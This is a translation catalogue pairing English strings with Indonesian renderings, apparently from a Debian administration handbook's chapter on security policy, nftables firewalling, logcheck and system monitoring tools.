0 - en to id-ID translation catalogue (325 entries)

en: Security
id-ID: Keamanan

en: An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”.
id-ID: Suatu sistem informasi bisa memiliki tingkat kepentingan yang bervariasi bergantung pada lingkungan. Dalam beberapa kasus, itu sangat penting untuk kelangsungan hidup perusahaan. Oleh karena itu harus dilindungi dari berbagai jenis risiko. Proses mengevaluasi risiko, menetapkan, dan melaksanakan perlindungan secara kolektif dikenal sebagai "proses keamanan".

en: Defining a Security Policy
id-ID: Menentukan suatu Kebijakan Keamanan

en: <emphasis>CAUTION</emphasis> Scope of this chapter
id-ID: <emphasis>PERINGATAN</emphasis> Cakupan bab ini

en: The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security.
id-ID: Kata "keamanan" itu sendiri mencakup rentang yang sangat luas dari konsep, peralatan dan prosedur, yang tidak satupun berlaku secara universal. Memilih di antara mereka memerlukan ide yang presisi tentang apa tujuan Anda. Mengamankan suatu sistem dimulai dengan menjawab beberapa pertanyaan. Terburu-buru mengimplementasi sebarang set peralatan akan berrisiko memfokuskan ke aspek keamanan yang salah.

en: The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:
id-ID: Maka hal pertama yang perlu ditentukan adalah sasaran. Sebuah pendekatan yang baik untuk membantu penentuan itu dimulai dengan pertanyaan-pertanyaan berikut:

en: <emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data.
id-ID: <emphasis>Apa</emphasis> yang kita coba lindungi? Kebijakan keamanan akan berbeda bergantung kepada apakah kita ingin melindungi komputer atau data. Dalam kasus terakhir, kita juga perlu tahu data yang mana.

en: What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?
id-ID: Kita mencoba melindungi <emphasis>terhadap</emphasis> apa? Apakah kebocoran data konfidensial? Kehilangan data tanpa sengaja? Kehilangan pendapatan karena terputusnya layanan?

en: Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group.
id-ID: Juga, kita mencoba melindungi terhadap <emphasis>siapa</emphasis>? Langkah-langkah keamanan akan sangat berbeda untuk melindungi terhadap salah ketik oleh pengguna biasa sistem dengan ketika melindungi dari kelompok penyerang yang bertekad kuat.

en: The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions.
id-ID: Istilah "risiko" lazim digunakan untuk merujuk secara kolektif kepada tiga faktor ini: apa yang harus dilindungi, apa yang perlu dicegah terjadi, dan siapa yang akan mencoba untuk membuat hal itu terjadi. Pemodelan risiko membutuhkan jawaban atas tiga pertanyaan ini. Dari model risiko ini, kebijakan keamanan dapat dibangun, dan kebijakan dapat diimplementasikan dengan tindakan-tindakan nyata.

en: <emphasis>NOTE</emphasis> Permanent questioning
id-ID: <emphasis>CATATAN</emphasis> Mempertanyakan secara permanen

en: Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly.
id-ID: Bruce Schneier, pakar dunia dalam masalah keamanan (bukan hanya keamanan komputer) mencoba untuk melawan salah satu mitos keamanan paling penting dengan motto: "Keamanan adalah sebuah proses, bukan produk". Aset yang harus dilindungi berubah dengan berjalannya waktu, dan begitu juga ancaman dan cara yang tersedia bagi para penyerang. Meskipun kebijakan keamanan awalnya telah dirancang dan dilaksanakan dengan sempurna, kita tidak boleh pernah berhenti di satu pencapaian. Komponen risiko terus berkembang dan respon terhadap risiko juga harus berkembang menyesuaikan.

en: Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation.
id-ID: Tambahan kendala juga patut dipertimbangkan, karena mereka dapat membatasi rentang kebijakan yang tersedia. Sejauh apakah kita bersedia melangkah untuk mengamankan sistem? Pertanyaan ini memiliki dampak yang besar pada kebijakan yang diterapkan. Jawabannya terlalu sering hanya didefinisikan dalam hal biaya moneter, tapi elemen lain juga harus dipertimbangkan, seperti seberapa jauh ketidaknyamanan yang ditimbulkan pada pengguna sistem atau penurunan kinerja.

en: Once the risk has been modeled, one can start thinking about designing an actual security policy.
id-ID: Setelah risiko dimodelkan, kita dapat mulai berpikir tentang merancang kebijakan keamanan yang sebenarnya.

en: <emphasis>NOTE</emphasis> Extreme policies
id-ID: <emphasis>CATATAN</emphasis> Kebijakan ekstrim

en: There are cases where the choice of actions required to secure a system is extremely simple.
id-ID: Ada kasus-kasus dimana pilihan tindakan yang diperlukan untuk mengamankan sistem ini sangat sederhana.

en: For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach.
id-ID: Misalnya, jika sistem yang akan dilindungi hanya terdiri dari komputer bekas, yang satu-satunya penggunaan adalah untuk menambahkan beberapa angka pada akhir hari, memutuskan untuk tidak melakukan sesuatu yang khusus untuk melindunginya akan cukup masuk akal. Nilai intrinsik sistem rendah. Nilai data adalah nol karena mereka tidak disimpan di komputer. Penyerang potensial yang menginfiltrasi "sistem" ini hanya akan mendapatkan kalkulator berat. Biaya untuk mengamankan sistem seperti itu mungkin akan lebih besar daripada biaya pelanggaran.

en: At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…
id-ID: Di ujung lain spektrum, kita mungkin ingin untuk melindungi kerahasiaan data rahasia dengan cara yang sekomprehensif mungkin, mengalahkan pertimbangan lainnya. Dalam hal ini, respon yang tepat adalah penghancuran total data (secara aman menghapus berkas, memotong-motong hard disk menjadi butiran, lalu melarutkan butir-butir ini dalam asam, dan seterusnya). Jika ada persyaratan tambahan bahwa data harus disimpan untuk digunakan di masa depan (meskipun tidak selalu tersedia), dan jika biaya masih bukan merupakan faktor, maka titik awal adalah menyimpan data di piring alloy iridium-platinum yang disimpan dalam bunker tahan bom di bawah berbagai pegunungan di dunia, masing-masing (tentu saja) sepenuhnya rahasia dan dijaga oleh seluruh pasukan…

en: Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other.
id-ID: Meskipun contoh-contoh ini mungkin tampak ekstrim, mereka tetap merupakan respon yang memadai terhadap risiko yang didefinisikan, sejauh mereka adalah hasil dari suatu proses pemikiran yang memperhitungkan tujuan yang akan dicapai dan kendala-kendala yang perlu dipenuhi. Ketika datang dari keputusan yang beralasan, tidak ada kebijakan keamanan yang kurang terhormat daripada yang lain.

en: In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel.
id-ID: Dalam kebanyakan kasus, sistem informasi dapat disegmentasi dalam subset-subset yang konsisten dan sebagian besar independen. Masing-masing subsistem akan memiliki persyaratan dan batasan sendiri, sehingga penilaian risiko dan desain kebijakan keamanan harus dilakukan secara terpisah untuk masing-masing. Prinsip yang baik untuk diingat adalah bahwa perimeter yang pendek dan didefinisikan dengan baik lebih mudah untuk dipertahankan daripada sebuah perbatasan yang panjang dan berliku. Jaringan organisasi harus juga dirancang secara sesuai: layanan-layanan sensitif harus dikonsentrasikan pada sejumlah kecil mesin, dan mesin ini hanya boleh diakses melalui sejumlah minimal titik pemeriksaan; mengamankan titik-titik pemeriksaan ini akan lebih mudah daripada mengamankan semua mesin sensitif terhadap seluruh dunia luar. Pada titik ini tampak kegunaan penyaringan jaringan (termasuk oleh firewall) menjadi jelas. Penyaringan ini dapat dilaksanakan dengan perangkat keras khusus, tetapi solusi yang mungkin lebih sederhana dan lebih fleksibel adalah dengan menggunakan perangkat lunak firewall seperti yang terintegrasi dalam kernel Linux.

en: Firewall or Packet Filtering
id-ID: Firewall atau Penyaringan Paket

en: <emphasis>BACK TO BASICS</emphasis> Firewall
id-ID: <emphasis>KEMBALI KE DASAR</emphasis> Firewall

en: <primary>packet</primary><secondary>IP</secondary>
id-ID: <primary>paket</primary><secondary>IP</secondary>

en: A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions.
id-ID: <emphasis>Firewall</emphasis> adalah peralatan komputer dengan perangkat keras dan/atau perangkat lunak yang menyortir paket jaringan masuk atau keluar (datang ke atau dari jaringan lokal) dan hanya mengizinkan lewat paket-paket yang cocok dengan kondisi standar tertentu.

en: A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets.
id-ID: Firewall adalah gateway jaringan yang menyaring dan hanya efektif pada paket yang harus melaluinya. Oleh karenanya, itu hanya dapat efektif ketika melalui firewall adalah satu-satunya rute untuk paket-paket ini.

en: <emphasis>SPECIFIC CASE</emphasis> Local Firewall
id-ID: <emphasis>KASUS SPESIFIK</emphasis> Firewall Lokal

en: The Linux kernel embeds the <emphasis>netfilter</emphasis> firewall, which can be controlled from user space with the <command>iptables</command>, <command>ip6tables</command>, <command>arptables</command> and <command>ebtables</command> commands.
id-ID: Kernel Linux menyertakan firewall <emphasis>netfilter</emphasis>. Ini dapat dikontrol dari ruang pengguna dengan perintah <command>iptables</command>, <command>ip6tables</command>, <command>arptables</command>, dan <command>ebtables</command>.

en: To enable a default firewall in Debian execute:
id-ID: Untuk mengaktifkan firewall default di Debian, jalankan:

en: nftables Behavior
id-ID: Perilaku nftables

en: A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter.
id-ID: Pemahaman yang baik dari layer 3, 4, dan 5 dari model OSI (Open System Interconnection) sangat penting untuk mendapatkan yang terbaik dari netfilter.

en: <emphasis>CULTURE</emphasis> The OSI model
id-ID: <emphasis>KULTUR</emphasis> Model OSI

en: The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols.
id-ID: Model OSI adalah model konseptual untuk mengimplementasikan protokol jaringan tanpa memperhatikan struktur internal dan teknologi yang mendasari. Tujuannya adalah interoperabilitas dari sistem komunikasi yang beragam dengan protokol komunikasi standar.

en: This model was defined in the standard ISO/EIC 7498. The following seven layers are described:
id-ID: Model ini didefinisikan dalam standar ISO/EIC 7498. Berikut ini adalah tujuh lapisan yang diuraikan:

en: Physical: transmission and reception of raw bit streams over a physical medium
id-ID: Fisik: transmisi dan penerimaan aliran bit mentah melalui media fisik

en: Data Link: reliable transmission of data frames between two nodes connected by a physical layer
id-ID: Data Link: transmisi frame data yang handal antara dua simpul yang terhubung oleh lapisan fisik

en: Network: structuring and managing a multi-node network, including addressing, routing and traffic control
id-ID: Jaringan: menata dan mengelola jaringan multi-simpul, termasuk pengalamatan, routing, dan kontrol lalu lintas

en: Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing
id-ID: Transport: transmisi segmen data yang handal antar titik pada jaringan, termasuk segmentasi, acknowledgement, dan multiplexing

en: Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes
id-ID: Session: mengelola sesi komunikasi, yaitu pertukaran informasi terus-menerus dalam bentuk beberapa transmisi bolak-balik antara dua node

en: Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption
id-ID: Presentasi: penerjemahan data antara layanan jaringan dan aplikasi; termasuk pengkodean karakter, kompresi data dan enkripsi/dekripsi

en: Application: High-level APIs, including resource sharing, remote file access.
id-ID: Aplikasi: API tingkat tinggi, termasuk berbagi sumber daya, akses berkas jarak jauh.

en: The firewall is configured with <emphasis>tables</emphasis>, which hold <emphasis>rules</emphasis> contained in <emphasis>chains</emphasis>. Unlike iptables, <emphasis>nftables</emphasis> does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: <literal>ip</literal>, <literal>ip6</literal>, <literal>inet</literal>, <literal>arp</literal> and <literal>bridge</literal>. <literal>ip</literal> is used if the family is not specified.
id-ID: Firewall dikonfigurasi dengan <emphasis>tabel</emphasis>, yang memegang <emphasis>aturan</emphasis> yang terkandung dalam <emphasis>rantai</emphasis>. Tidak seperti iptables, <emphasis>nftables</emphasis> tidak memiliki tabel default. Pengguna memutuskan mana dan berapa banyak tabel yang dibuat. Setiap tabel harus ditugaskan hanya ke satu dari lima keluarga berikut: <literal>ip</literal>, <literal>ip6</literal>, <literal>inet</literal>, <literal>arp</literal> dan <literal>bridge</literal>. <literal>ip</literal> digunakan jika keluarga tidak dinyatakan.

en: Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like <literal>accept</literal>, <literal>drop</literal>, <literal>queue</literal>, <literal>continue</literal>, <literal>return</literal>, <literal>jump chain</literal> and <literal>goto chain</literal>.
id-ID: Aturan yang terbuat dari pernyataan, yang mencakup beberapa ungkapan yang harus dicocokkan dan kemudian pernyataan putusan, seperti <literal>accept</literal>, <literal>drop</literal>, <literal>queue</literal>, <literal>continue</literal>, <literal>return</literal>, <literal>jump chain</literal>, dan <literal>goto chain</literal>.

en: <primary>rule</primary>
id-ID: <primary>aturan</primary>

en: <emphasis>BACK TO BASICS</emphasis> ICMP
id-ID: <emphasis>KEMBALI KE DASAR</emphasis> ICMP

en: For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time).
id-ID: Untuk referensi, suatu penyangga penerima adalah sebuah zona memori kecil yang menyimpan data antara saat itu datang dari jaringan dan saat kernel menanganinya. Jika zona ini penuh, data baru tidak dapat diterima, dan ICMP mengirim sinyal adanya masalah, sehingga pengirim dapat memperlambat laju transfer (yang idealnya harus mencapai suatu keseimbangan setelah beberapa waktu).

en: <primary>receive buffer</primary>
id-ID: <primary>penyangga penerimaan</primary>

en: <primary>buffer</primary><secondary>receive buffer</secondary>
id-ID: <primary>penyangga</primary><secondary>penyangga penerimaan</secondary>

en: Moving from iptables to nftables
id-ID: Berpindah dari iptables ke nftables

en: The tools <command>iptables-nft</command>, <command>ip6tables-nft</command>, <command>arptables-nft</command>, <command>ebtables-nft</command> are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility.
id-ID: Alat <command>iptables-nft</command>, <command>ip6tables-nft</command>, <command>arptables-nft</command>, <command>ebtables-nft</command> adalah versi iptables yang menggunakan API nftables, sehingga pengguna dapat tetap menggunakan sintaks iptables lama dengan mereka, tapi itu tidak dianjurkan; alat ini hanya boleh digunakan untuk kesesuaian ke belakang.

en: Syntax of <command>nft</command>
id-ID: Sintaks <command>nft</command>

en: The <command>nft</command> commands allow manipulating tables, chains and rules. The <literal>table</literal> option supports multiple operations: <literal>add</literal>, <literal>create</literal>, <literal>delete</literal>, <literal>list</literal> and <literal>flush</literal>. <command>nft add table ip6 mangle</command> adds a new table from the family <literal>ip6</literal>.
id-ID: Perintah <command>nft</command> memungkinkan memanipulasi tabel, rantai, dan aturan. Opsi <literal>table</literal> mendukung beberapa operasi: <literal>add</literal>, <literal>create</literal>, <literal>delete</literal>, <literal>list</literal>, dan <literal>flush</literal>. <command>nft add table ip6 mangle</command> menambahkan tabel baru dari keluarga <literal>ip6</literal>.

en: To insert a new base chain to the <literal>filter</literal> table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):
id-ID: Untuk memasukkan rantai dasar baru ke tabel <literal>filter</literal>, Anda dapat mengeksekusi perintah berikut (perhatikan bahwa titik koma di-escape dengan garis miring terbalik saat menggunakan Bash):

en: Rules are usually added with the following syntax: <command>nft add rule [<replaceable>family</replaceable>] <replaceable>table</replaceable> <replaceable>chain</replaceable> handle <replaceable>handle</replaceable> statement</command>.
id-ID: Aturan biasanya ditambahkan dengan sintaks berikut: <command>nft add rule [<replaceable>family</replaceable>] <replaceable>table</replaceable> <replaceable>chain</replaceable> handle <replaceable>handle</replaceable> pernyataan </command>.

en: <command>insert</command> is similar to the <command>add</command> command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:
id-ID: <command>insert</command> mirip dengan perintah <command>add</command>, namun aturan yang diberikan ditambahkan ke awal rantai atau sebelum aturan dengan handle yang diberikan bukan pada akhir atau setelah aturan itu. Sebagai contoh, perintah berikut ini memasukkan aturan sebelum aturan dengan handler nomor 8:

en: The executed <command>nft</command> commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in <filename>/etc/nftables.conf</filename>. A simple way to save the current firewall configuration permanently is to execute <command>nft list ruleset &gt; /etc/nftables.conf</command> as root.
id-ID: Perintah <command>nft</command> yang dieksekusi tidak membuat perubahan permanen untuk konfigurasi, sehingga mereka akan hilang jika mereka tidak disimpan. Aturan firewall terletak di <filename>/etc/nftables.conf</filename>. Sebuah cara sederhana untuk menyimpan konfigurasi firewall saat ini secara permanen adalah dengan mengeksekusi <command>nft list ruleset &gt; /etc/nftables.conf</command> sebagai root.

en: <command>nft</command> allows many more operations, refer to its manual page <citerefentry><refentrytitle>nft</refentrytitle> <manvolnum>8</manvolnum></citerefentry> for more information.
id-ID: <command>nft</command> memungkinkan lebih banyak operasi, lihat halaman manual <citerefentry><refentrytitle>nft</refentrytitle> <manvolnum>8</manvolnum></citerefentry> untuk informasi lebih lanjut.

en: Installing the Rules at Each Boot
id-ID: Menginstal Aturan Pada Setiap Boot

en: In other cases, the recommended way is to register the configuration script in <literal>up</literal> directive of the <filename>/etc/network/interfaces</filename> file. In the following example, the script is stored under <filename>/usr/local/etc/arrakis.fw</filename>.
id-ID: Dalam kasus lain, cara yang disarankan adalah mendaftarkan skrip konfigurasi dalam direktif <literal>up</literal> dari berkas <filename>/etc/network/interfaces</filename>. Pada contoh berikut, skrip disimpan di bawah <filename>/usr/local/etc/arrakis.fw</filename>.

en: <filename>interfaces</filename> file calling firewall script
id-ID: berkas <filename>interface</filename> yang memanggil skrip firewall

en: This obviously assumes that you are using <emphasis role="pkg">ifupdown</emphasis> to configure the network interfaces. If you are using something else (like <emphasis>NetworkManager</emphasis> or <emphasis>systemd-networkd</emphasis>), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up.
id-ID: Ini jelas mengasumsikan bahwa Anda menggunakan <emphasis role="pkg">ifupdown</emphasis> untuk mengkonfigurasi antarmuka jaringan. Jika Anda menggunakan sesuatu yang lain (seperti <emphasis>NetworkManager</emphasis> atau <emphasis>systemd-networkd</emphasis>), maka rujuklah ke dokumentasi mereka masing-masing untuk mengetahui cara menjalankan skrip setelah antarmuka telah dihidupkan.

en: Supervision: Prevention, Detection, Deterrence
id-ID: Supervisi: Pencegahan, Deteksi, Deteren

en: <primary>monitoring</primary>
id-ID: <primary>pemantauan</primary>

en: Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes <xref linkend="sect.monitoring" />.
id-ID: Pemantauan adalah bagian integral dari kebijakan keamanan untuk beberapa alasan. Di antara mereka, bahwa tujuan keamanan adalah biasanya tidak terbatas pada menjamin kerahasiaan data, tetapi juga termasuk memastikan ketersediaan layanan. Oleh karena itu sangat penting untuk memeriksa bahwa semuanya bekerja seperti yang diharapkan, dan untuk mendeteksi tepat perilaku menyimpang atau mengubah kualitas layanan yang diberikan. Memantau aktivitas dapat membantu mendeteksi upaya intrusi dan memungkinkan reaksi cepat sebelum mereka menimbulkan konsekuensi serius. Bagian ini mengulas beberapa alat yang dapat digunakan untuk memonitor beberapa aspek dari sistem Debian. Dengan demikian, itu melengkapi <xref linkend="sect.monitoring" />.

en: Monitoring Logs with <command>logcheck</command>
id-ID: Memantau Log dengan <command>logcheck</command>

en: <primary>monitoring</primary><secondary>log files</secondary>
id-ID: <primary>pemantauan</primary><secondary>berkas log</secondary>

en: The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis.
id-ID: Program <command>logcheck</command> memonitor berkas log setiap jam secara default. Ia akan mengirimkan pesan-pesan log yang tidak biasa melalui email ke administrator untuk analisa lebih lanjut.

en: The list of monitored files is stored in <filename>/etc/logcheck/logcheck.logfiles</filename>; the default values work fine if the <filename>/etc/rsyslog.conf</filename> file has not been completely overhauled.
id-ID: Daftar berkas yang dipantau disimpan dalam <filename>/etc/logcheck/logcheck.logfiles</filename>; nilai-nilai default bekerja dengan baik jika berkas <filename>/etc/rsyslog.conf</filename> belum dibongkar habis.

en: <command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages).
id-ID: <command>logcheck</command> dapat bekerja di salah satu dari tiga mode yang lebih atau kurang rinci: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis>, dan <emphasis>workstation</emphasis>. Yang pertama adalah <emphasis>sangat</emphasis> rinci, dan mungkin dapat dibatasi ke server tertentu seperti firewall. Modus kedua (dan default) dianjurkan bagi kebanyakan server. Terakhir dirancang untuk workstation, dan ini bahkan lebih ringkas (itu menyaring lebih banyak pesan).

en: In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read.
id-ID: Dalam ketiga kasus, <command>logcheck</command> mungkin perlu disesuaikan untuk mengecualikan beberapa pesan tambahan (tergantung pada layanan yang terpasang), kecuali jika admin benar-benar ingin menerima batch per jam surel-surel panjang yang tidak menarik. Karena mekanisme pemilihan pesan agak rumit, perlu membaca <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> — walaupun menantang.

en: The applied rules can be split into several types:
id-ID: Aturan yang diterapkan dapat dipecah menjadi beberapa jenis:

en: those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);
id-ID: yang memenuhi syarat sebuah pesan sebagai upaya memecah kata sandi (disimpan dalam berkas dalam direktori <filename>/etc/logcheck/cracking.d/</filename>);

en: those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);
id-ID: yang membatalkan kualifikasi seperti itu (<filename>/etc/logcheck/cracking.ignore.d/</filename>);

en: those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);
id-ID: yang mengklasifikasi pesan sebagai sebuah peringatan keamanan (<filename>/etc/logcheck/violations.d/</filename>);

en: those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);
id-ID: yang membatalkan klasifikasi ini (<filename>/etc/logcheck/violations.ignore.d/</filename>);

en: finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>).
id-ID: akhirnya, yang diterapkan ke pesan yang tersisa (dianggap sebagai <emphasis>kejadian-kejadian sistem</emphasis>).

en: <emphasis>CAUTION</emphasis> Ignoring a message
id-ID: <emphasis>HATI-HATI</emphasis> Mengabaikan suatu pesan

en: Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file.
id-ID: Setiap pesan yang ditandai sebagai upaya crack atau sebuah peringatan keamanan (mengikuti aturan yang disimpan dalam berkas <filename>/etc/logcheck/violations.d/myfile</filename>) hanya dapat diabaikan oleh aturan di berkas <filename>/etc/logcheck/violations.ignore.d/myfile</filename> atau <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>ekstensi</replaceable></filename>.

en: A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode.
id-ID: Suatu kejadian sistem selalu diberi sinyal kecuali aturan di salah satu dari direktori <filename>/etc/logcheck/ignore.d.{paranoid, server, workstation}/</filename> menyatakan bahwa kejadian tersebut harus diabaikan. Tentu saja, direktori yang diperhitungkan adalah hanya mereka yang tingkat verbositasnya sama atau lebih dari mode operasi yang dipilih.

en: Monitoring Activity
id-ID: Memantau Aktivitas

en: <primary>monitoring</primary><secondary>activity</secondary>
id-ID: <primary>pemantauan</primary> <secondary>kegiatan</secondary>

en: <primary>activity, monitoring</primary>
id-ID: <primary>aktivitas, pemantauan</primary>

en: In Real Time
id-ID: Secara Real Time

en: <command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority.
id-ID: <command>top</command> adalah alat interaktif yang menampilkan daftar proses yang sedang berjalan. Pengurutan baku berdasarkan banyaknya menggunakan prosesor pada saat ini dan dapat diperoleh dengan tombol <keycap>P</keycap>. Urutan lain termasuk besarnya memori yamg diduduki (<keycap>M</keycap> kunci), oleh waktu total prosesor (kunci <keycap>T</keycap>), dan pengenal proses (<keycap>N</keycap> kunci). Kunci <keycap>k</keycap> memungkinkan mematikan suatu proses dengan memasukkan pengenal prosesnya. Kunci <keycap>r</keycap> memungkinkan <emphasis>pengaturan ulang nice</emphasis> proses, yaitu mengubah prioritas.

en: When the system seems to be overloaded, <command>top</command> is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application.
id-ID: Ketika sistem tampaknya terbeban lebih, <command>top</command> adalah alat yang hebat untuk melihat proses yang bersaing untuk waktu prosesor atau mengkonsumsi terlalu banyak memori. Secara khusus, hal ini sering menarik untuk diperiksa jika proses yang memakan sumber daya cock dengan layanan nyata yang diketahui diwadahi oleh mesin ini. Proses tidak dikenal yang berjalan sebagai pengguna www-data akan menonjol dan mesti diselidiki, karena mungkin adalah suatu instansi perangkat lunak yang diinstal dan dijalankan pada sistem melalui kerentanan dalam aplikasi web.

en: <command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits.
id-ID: <command>top</command> adalah alat yang sangat fleksibel dan halaman manualnya memberikan rincian tentang bagaimana menyesuaikan tampilan dan mengadaptasi ke kebutuhan pribadi dan kebiasaan seseorang.

en: The <command>gnome-system-monitor</command> graphical tool is similar to <command>top</command> and it provides roughly the same features.
id-ID: Alat grafis <command>gnome-system-monitor</command> mirip dengan <command>top</command> dan kurang lebih menyediakan fitur yang sama.

en: History
id-ID: Riwayat

en: <primary>activity, history</primary>
id-ID: <primary>aktivitas, riwayat</primary>

en: Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used.
id-ID: Beban prosesor, lalu lintas jaringan, dan ruang bebas disk adalah informasi yang terus-menerus berubah. Mencatat riwayat evolusi mereka sering berguna dalam menentukan persis bagaimana komputer digunakan.

en: There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches.
id-ID: Ada banyak alat khusus untuk tugas ini. Sebagian dapat mengambil data melalui SNMP (<emphasis>Simple Network Management Protocol</emphasis>) untuk memusatkan informasi ini. Manfaat tambahan adalah bahwa hal ini memungkinkan pengambilan data dari elemen-elemen jaringan yang mungkin bukan komputer untuk keperluan umum, seperti router jaringan atau switch.

